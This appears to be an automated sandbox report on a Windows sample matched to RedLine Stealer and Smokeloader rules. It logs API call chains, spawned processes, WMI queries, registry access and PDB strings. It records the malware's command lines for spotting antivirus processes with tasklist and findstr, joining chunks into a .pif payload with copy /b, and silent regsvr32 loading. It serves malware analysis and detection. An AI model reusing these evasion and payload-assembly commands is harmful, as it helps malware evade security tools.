Source: 00000013.00000002.1968314715.0000000000AB9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.1864330183.00000000008C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000F.00000002.1862530348.00000000027BE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.1967468018.0000000000A50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000002A.00000002.2100070670.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.1968402441.0000000002341000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000002D.00000002.2197337839.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1366749050.0000000004721000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000013.00000002.1967570933.0000000000A70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000E.00000002.1864271524.00000000008A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.1690627689.0000000002DC0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1366482846.0000000002B70000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000D.00000002.1690422627.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\BRvptajioG.exe	Code function: 0_2_00401590 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401590
Source: C:\Users\user\Desktop\BRvptajioG.exe	Code function: 0_2_004015CB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015CB
Source: C:\Users\user\Desktop\BRvptajioG.exe	Code function: 0_2_0040159B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040159B
Source: C:\Users\user\Desktop\BRvptajioG.exe	Code function: 0_2_004015B0 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015B0
Source: C:\Users\user\Desktop\BRvptajioG.exe	Code function: 0_2_004015BC NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015BC
Source: C:\Users\user\AppData\Roaming\decegfu	Code function: 13_2_00401590 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_00401590
Source: C:\Users\user\AppData\Roaming\decegfu	Code function: 13_2_004015CB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_004015CB
Source: C:\Users\user\AppData\Roaming\decegfu	Code function: 13_2_00403383 LdrLoadDll,RtlZeroMemory,GetModuleHandleA,NtEnumerateKey,	13_2_00403383
Source: C:\Users\user\AppData\Roaming\decegfu	Code function: 13_2_0040159B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_0040159B
Source: C:\Users\user\AppData\Roaming\decegfu	Code function: 13_2_004015B0 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_004015B0
Source: C:\Users\user\AppData\Roaming\decegfu	Code function: 13_2_004015BC NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	13_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401643 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	14_2_00401643
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_0040164E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	14_2_0040164E
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_0040334E NtTerminateProcess,LdrLoadDll,	14_2_0040334E
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_0040165E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	14_2_0040165E
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401665 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	14_2_00401665
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401570 NtAllocateVirtualMemory,	14_2_00401570
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401671 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	14_2_00401671
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_0040270A NtOpenKey,	14_2_0040270A
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00403335 NtTerminateProcess,LdrLoadDll,	14_2_00403335
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_004033CA NtTerminateProcess,LdrLoadDll,	14_2_004033CA
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_004033F5 LdrLoadDll,RtlZeroMemory,GetModuleHandleA,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,strstr,tolower,towlower,	14_2_004033F5
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00403381 NtTerminateProcess,LdrLoadDll,	14_2_00403381
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401683 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	14_2_00401683
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_0040338F NtTerminateProcess,LdrLoadDll,	14_2_0040338F
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00403398 NtTerminateProcess,LdrLoadDll,	14_2_00403398
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_0040279C NtEnumerateKey,	14_2_0040279C
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_004033A5 NtTerminateProcess,	14_2_004033A5
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_004033B7 NtTerminateProcess,LdrLoadDll,	14_2_004033B7
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_004033BE NtTerminateProcess,LdrLoadDll,	14_2_004033BE
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Code function: 15_2_02980110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	15_2_02980110
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048AF410 NtCreateThreadEx,	18_2_048AF410

Source: Span.20.dr

Static PE information: No import functions for PE file found

Source: BRvptajioG.exe, 00000000.00000002.1366168602.0000000002AA0000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenameMunpler> vs BRvptajioG.exe

Source: 6071.exe.11.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: csrss.exe.22.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 6B8F.dll.11.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT size: 0xd0 address: 0x0

Source: 6719.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9944839015151515
Source: 6B8F.dll.11.dr	Static PE information: Section: CRT ZLIB complexity 0.9986801304768042

Source: BRvptajioG.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\decegfu

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@69/63@414/23

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\90FB.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: BRvptajioG.exe	ReversingLabs: Detection: 78%
Source: BRvptajioG.exe	Virustotal: Detection: 73%

Source: C:\Users\user\Desktop\BRvptajioG.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\BRvptajioG.exe C:\Users\user\Desktop\BRvptajioG.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\decegfu C:\Users\user\AppData\Roaming\decegfu
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5833.exe C:\Users\user~1\AppData\Local\Temp\5833.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6071.exe C:\Users\user~1\AppData\Local\Temp\6071.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6719.exe C:\Users\user~1\AppData\Local\Temp\6719.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user~1\AppData\Local\Temp\6B8F.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user~1\AppData\Local\Temp\6B8F.dll
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\85CF.exe C:\Users\user~1\AppData\Local\Temp\85CF.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\90FB.exe C:\Users\user~1\AppData\Local\Temp\90FB.exe
Source: C:\Users\user\AppData\Local\Temp\90FB.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Process created: C:\Users\user\AppData\Local\Temp\6071.exe C:\Users\user~1\AppData\Local\Temp\6071.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9B3D.exe C:\Users\user~1\AppData\Local\Temp\9B3D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\9B3D.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Users\user\AppData\Local\Temp\90FB.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k cmd < Hottest & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c mkdir 21808
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Span + Cigarette + Instances + Mfg + Cable 21808\Adaptation.pif
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Complex 21808\G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif 21808\Adaptation.pif 21808\G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jtcegfu C:\Users\user\AppData\Roaming\jtcegfu
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\gtcegfu C:\Users\user\AppData\Roaming\gtcegfu
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5833.exe C:\Users\user~1\AppData\Local\Temp\5833.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6071.exe C:\Users\user~1\AppData\Local\Temp\6071.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6719.exe C:\Users\user~1\AppData\Local\Temp\6719.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user~1\AppData\Local\Temp\6B8F.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\85CF.exe C:\Users\user~1\AppData\Local\Temp\85CF.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\90FB.exe C:\Users\user~1\AppData\Local\Temp\90FB.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9B3D.exe C:\Users\user~1\AppData\Local\Temp\9B3D.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Process created: C:\Users\user\AppData\Local\Temp\6071.exe C:\Users\user~1\AppData\Local\Temp\6071.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user~1\AppData\Local\Temp\6B8F.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\90FB.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k cmd < Hottest & exit
Source: C:\Users\user\AppData\Local\Temp\9B3D.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c mkdir 21808
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Span + Cigarette + Instances + Mfg + Cable 21808\Adaptation.pif
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Complex 21808\G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif 21808\Adaptation.pif 21808\G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317D06E8-5F24-433D-BDF7-79CE68D8ABC2}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Windows\explorer.exe

File created: C:\Users\user~1\AppData\Local\Temp\5833.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6719.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll

Source: C:\Users\user\Desktop\BRvptajioG.exe

Code function: 0_2_02B7767B CreateToolhelp32Snapshot,Module32First,

0_2_02B7767B

Source: 23.2.9B3D.exe.f7d000.1.raw.unpack, Strings.cs

Base64 encoded string: 'Kjg6GTs4AQYhDjgiE14vMRYYOSouQjUmPw41eD0iKBw0WSZAKF8+PzkoLx4SDw1EJgM/HSAJCyAXCF9Q'

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: C:\Users\user\Desktop\BRvptajioG.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: BRvptajioG.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: K?C:\simodus\kotova\yevukih_sofinereyes15\suwekedexabox68.pdb source: BRvptajioG.exe, 00000000.00000000.1243246705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, decegfu, 0000000D.00000000.1559574164.0000000000401000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: 6719.exe, 00000010.00000002.2189342344.0000000000ED7000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\simodus\kotova\yevukih_sofinereyes15\suwekedexabox68.pdb source: BRvptajioG.exe, 00000000.00000000.1243246705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, decegfu, 0000000D.00000000.1559574164.0000000000401000.00000020.00000001.01000000.00000005.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

